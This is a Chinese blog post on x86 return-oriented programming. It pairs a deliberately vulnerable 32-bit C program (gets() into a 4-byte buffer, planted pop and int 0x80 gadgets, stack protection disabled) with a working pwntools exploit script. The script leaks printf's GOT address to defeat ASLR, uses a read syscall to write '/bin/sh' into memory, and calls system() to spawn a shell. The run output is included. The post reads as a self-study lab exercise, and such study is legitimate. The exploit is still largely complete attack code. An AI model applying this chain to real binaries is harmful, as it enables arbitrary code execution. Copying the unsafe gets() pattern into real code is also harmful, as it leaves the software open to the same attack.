当前位置: 首页 > news >正文

x86 rop攻击理解2

靶子代码:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int macdbg_dmphex( const char* buff, int len )  
{
    int retval = 0; 
    int x, y, tot, lineoff;
    const char* curr;
    lineoff = 0;
    curr = buff;
    tot = 0;
    
    printf("\n\n\n\noutbuf buff = %p\n", buff);    
               
    for( x = 0; len > x+16; ){                      
         printf("0x%08x:  ", lineoff);           
         for( y = 0; y < 16; y++ ){
              printf("%02x ", (unsigned char)*(curr + y));
         }
         printf("  ");
         for( y = 0; y < 16; y++ ){
              char c;
              c = *(curr + y);
              if( c > 31 && c < 127 ){
                  printf("%c", c);
              }else{
                  printf("%c", '.');
              }
              tot++;
         }
         curr += 16;
         x += 16;
         lineoff+=16; 
         printf("\n");         
    }
                  
    //do last line
    if( tot < len ){
        curr = (buff + tot);
        printf("0x%08x:  ", lineoff);
        for( y = 0; y < (len - tot); y++ ){
             printf("%02x ", (unsigned char)*(curr + y));
        }
        //padding with spaces
        //printf("(len - tot) %d.\r\n", (len - tot) );
        if( (len - tot) < 16 ){
            for( y = 0; y < (32 - ((len - tot)*2)); y++ ){
                 printf(" ");
            }
        }
        for( y = 0; y < 16-(len - tot); y++ ){
             printf(" ");
        }
        printf("  "); 
       //printf("(len - tot) %d.\r\n", (len - tot) );
        for( y = 0; y < (len - tot); y++ ){
            char c;
            c = *(curr + y);
            if( c >31 && c < 127 ){
                printf("%c", c);
            }else{
                printf("%c", '.');
            }
        }
        printf("\n");    
    }
    return retval;
}

void fuck() 
{
    unsigned char *pxx;
    int i;
    char buffer[4];
    gets(buffer);
    //macdbg_dmphex(buffer, 0x100);
}

void xxx_fun(void)
{
    unsigned int *px;
    
    //printf("xxx_fun = %p\n", xxx_fun);
    //printf( (unsigned int *)0x0804a00c);
    
    px = (unsigned int *)0x0804a00c;
    
    //usleep(1);
    
    
    
    
     for(int i=0x00; i<2;i++){
       printf( 0x0804a00c);
     }
     
     
    // while(1){;}
     //usleep(1);
    
}

void xxx_sleep( void )
{
    
    usleep(3000000);
    
}

#include <stdio.h>
#include <dlfcn.h>
#include <link.h>

// 获取函数在动态库中的偏移量
static unsigned long get_func_offset(const char* lib, const char* func) {
    void* handle = dlopen(lib, RTLD_LAZY);
    if (!handle) return 0;
    
    void* addr = dlsym(handle, func);
    Dl_info info;
    dladdr(addr, &info);
    
    unsigned long offset = (unsigned long)addr - (unsigned long)info.dli_fbase;
    dlclose(handle);
    return offset;
}

int mainxcv() {
    
    int (*system_func)(char*);
    // 1. 获取printf实际地址
    void* printf_addr = dlsym(RTLD_NEXT, "printf");
    printf("printf address: %p\n", printf_addr);

    // 2. 获取libc基址
    Dl_info info;
    dladdr(printf_addr, &info);
    void* libc_base = info.dli_fbase;
    printf("libc base: %p\n", libc_base);
    
    printf("printf offset: %p\n", printf_addr-libc_base);
    

    // 3. 获取system偏移量(需提前计算)
    unsigned long system_offset = get_func_offset("libc.so.6", "system");
    printf("system offset: 0x%lx\n", system_offset);

    // 4. 计算system地址
    void* system_addr = (void*)((unsigned long)libc_base + system_offset);
    printf("system address: %p\n", system_addr);
    
    //int (*system_func)(char*)
    
    system_addr = system_addr;
    
    system_func = system_addr;
    system_func("/bin/bash");

    return 0;
}
char g_buff[32] = { '/','b','i','n','/','s','h','\0','\0' };

void flushx(void)
{
    
    fflush(0);
    


}


// 模拟存在的gadget
void gadget_pop_ebx() {
    asm("pop %ebx; ret;");
}
void gadget_pop_eax() {
    asm("pop %eax; ret;");
}
void gadget_pop_ecx() {
    asm("pop %ecx; ret;");
}
void gadget_pop_edx() {
    asm("pop %edx; ret;");
}
void gadget_mov_eax_ebx() {
    asm("mov %ebx, %eax; ret;");
}

void do_int80() {
    asm("int $0x80; ret");
}

void do_gets()
{
    gets();
    
    
}

int main() 
{   


// 定义函数指针类型(与printf签名匹配)
    int (*print_func)(const char*, ...);
    fuck();
    // 指向printf函数
    //print_func = printf;
    
    //printf( (unsigned int *)0x0804a00c ); 
    //printf( (unsigned int *)0x0804a00c );
    
    //printf( (unsigned int *)0x0804a00c ); 
    //printf( (unsigned int *)0x0804a00c );
    
    
    
    
    
    // 通过函数指针调用
    //print_func("Hello, World! %d\n", 2025);
    
    //print_func = 0xf7e44680;
    //print_func("Hello, Worldxxx! %d\n", 2025);
    
   
    void *addr = dlsym(RTLD_NEXT, "printf");
    printf("printf2 = %p\n", addr);    
    
    asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");
    
    asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");
    
    return 0;
}
//gcc -m32 -fno-stack-protector -z execstack ctest.c -o ctest -ldl


攻击脚本:

from pwn import *

#context(arch='i386', os='linux', log_level='debug')
#context(arch='i386', os='linux',)

elf  = ELF('./ctest')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#精确获取关键地址
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr  = elf.sym['main']
macdbg_dmphex = elf.sym['macdbg_dmphex']

#查找可靠gadget
pop_eax = next(elf.search(asm('pop eax; ret')))
pop_ebx = next(elf.search(asm('pop ebx; ret')))

pop_ecx = next(elf.search(asm('pop ecx; ret')))
pop_edx = next(elf.search(asm('pop edx; ret')))
int_0x80 = next(elf.search(asm('int  0x80; ret')))
pop_ret = pop_ebx    #单参数清理

log.success(f"pop_ebx: {hex(pop_ebx)}")

poppop_ret = 0x8048b5a;

bin_sh_addr = 0x0804b060;


target_addr = 0x0804b040   # 要写入的目标地址
value = 0xdeadbeef        # 要写入的值

#定义重复单元
leak_unit = [printf_plt, pop_ret, p32(printf_got) ]

fflush_plt = elf.plt['fflush']  #获取fflush的PLT地址

xxx_sleep = elf.sym['xxx_sleep']
#构造泄露payload
payload = flat(
    b'A'*16,
    *leak_unit,  # 解包并重复1次
    
    fflush_plt,      # 调用fflush刷新输出
    pop_ret,
    0,               # 参数:stdout (通常为0)
    
    #xxx_sleep,
    #pop_ret,
    #0,   
    
    pop_eax, 3,              #read系统调用号
    pop_ebx, 0,              #文件描述符0(标准输入)
    pop_ecx, target_addr, pop_edx, 32, # ecx=目标地址, edx=4(字节数)
    int_0x80,                # 执行read系统调用
    # 后续ROP链(例如返回到目标函数等)
    

    xxx_sleep,
    pop_ret,
    0,           
    
    macdbg_dmphex,
    poppop_ret,
    target_addr,
    0x80,

    main_addr
)

# 交互过程
p = process('./ctest')
p.sendline(payload)
leaked = u32(p.recv(4))
libc.address = leaked - libc.sym['printf']
log.success(f"Libc base: {hex(libc.address)}")

#p.interactive()  # 获取交互式shell


system_addr = libc.symbols['system']
log.success(f"system@libc: {hex(system_addr)}")
log.success(f"system@libcx: {hex(libc.sym['system'])}")

# 已知地址
#bin_sh_addr = next(libc.search(b'/bin/sh'))  # 自动搜索字符串

# 构造payload
payloadx = flat(
    b'A'*12,        # 填充缓冲区
    b'B'*4,         # 覆盖返回地址
    #ret,            # 栈对齐(可选)
    system_addr,    # 调用system
    0xdeadbeef,     # system的返回地址(随意)
    target_addr     # system的参数
)


# 3. 发送要写入的数据
sleep(0.5)
p.send(b"/bin/sh\x00  \x20   012345678")  # 第二阶段:实际写入内存的数据

# 再次执行攻击
p.sendline(payloadx)
p.interactive()  # 获取交互式shell


#run <<< $(python -c 'print("A"*16 + "\x52\x88\x04\x08" + "\x85\x87\x04\x08" + "\x0c\xa0\x04\x08" + "\xc0\x87\x04\x08")')


输出:

python3.8 xx1.py 
[*] '/mnt/hgfs/file_win2linux/stackyichu/ctest'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] pop_ebx: 0x8048499
[+] Starting local process './ctest': pid 93884
[+] Libc base: 0xf7dfb000
[+] system@libc: 0xf7e35db0
[+] system@libcx: 0xf7e35db0
[*] Switching to interactive mode
Ƅ\x04\x08\xf0\xa3\xe5\xf7\xe6\x84\x04\x08\xf6\x84\x04\x08P5\xe1\xf7\x16\x85\x04\x08&\x85\x04\x086\x85\x04\x08F\x85\x04\x08

outbuf buff = 0x804b040
0x00000000:  2f 62 69 6e 2f 73 68 00 20 20 20 20 20 20 30 31   /bin/sh.      01
0x00000010:  32 33 34 35 36 37 38 41 41 41 41 41 41 41 41 41   2345678AAAAAAAAA
0x00000020:  2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00   /bin/sh.........
0x00000030:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000040:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000050:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000060:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000070:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
[*] Got EOF while reading in interactive

[*] Process './ctest' stopped with exit code -11 (SIGSEGV) (pid 93884)
[*] Got EOF while sending in interactive
root@ubuntu:/mnt/hgfs/file_win2linux/stackyichu# pwd
/mnt/hgfs/file_win2linux/stackyichu
root@ubuntu:/mnt/hgfs/file_win2linux/stackyichu# 

http://www.lqws.cn/news/571411.html

相关文章:

  • 设计模式-外观模式、适配器模式
  • 设备健康状态实时监测:从技术原理到中讯烛龙的智能实践
  • X-Search:Spring AI实现的AI智能搜索
  • redis延时双删,为什么第一次删除
  • 检查达梦外部表
  • ROS的可视化工具rviz介绍
  • wpf的Binding之UpdateSourceTrigger
  • PaddleNLP
  • 桌面小屏幕实战课程:DesktopScreen 18 FONTPAINT
  • RAG检索增强生成在垂类AI应用效能优化中的应用
  • 【硬核数学】6. 升级你的线性代数:张量,深度学习的多维数据语言《从零构建机器学习、深度学习到LLM的数学认知》
  • 【Java EE初阶 --- 多线程(进阶)】锁策略
  • 构建创意系统:驾驭Audition与Photoshop的AI之力,洞悉原子化设计哲学
  • Cursor1.1.6安装c++插件
  • MyBatis实战指南(八)MyBatis日志
  • 【数据集处理】基于 3D-GloBFP建筑轮廓数据 栅格化建筑数据(完整Python代码)
  • Day.46
  • 水果维生素含量排名详表
  • 【硬核数学】9. 驯服“梯度下降”:深度学习中的优化艺术与正则化技巧《从零构建机器学习、深度学习到LLM的数学认知》
  • 【JavaSE】反射学习笔记
  • 中州养老:学会设计数据库表
  • WebRTC(十三):信令服务器
  • Spring事件驱动模型核心:ApplicationEventMulticaster初始化全解析
  • 图书管理系统练习项目源码-前后端分离-使用node.js来做后端开发
  • NV064NV065美光固态闪存NV067NV076
  • 申论审题训练
  • DEPTHPRO:一秒内实现清晰的单目度量深度估计
  • 云端可视化耦合电磁场:麦克斯韦方程组的应用-AI云计算数值分析和代码验证
  • Leetcode百题斩-双指针
  • 电容屏触摸不灵敏及跳点问题分析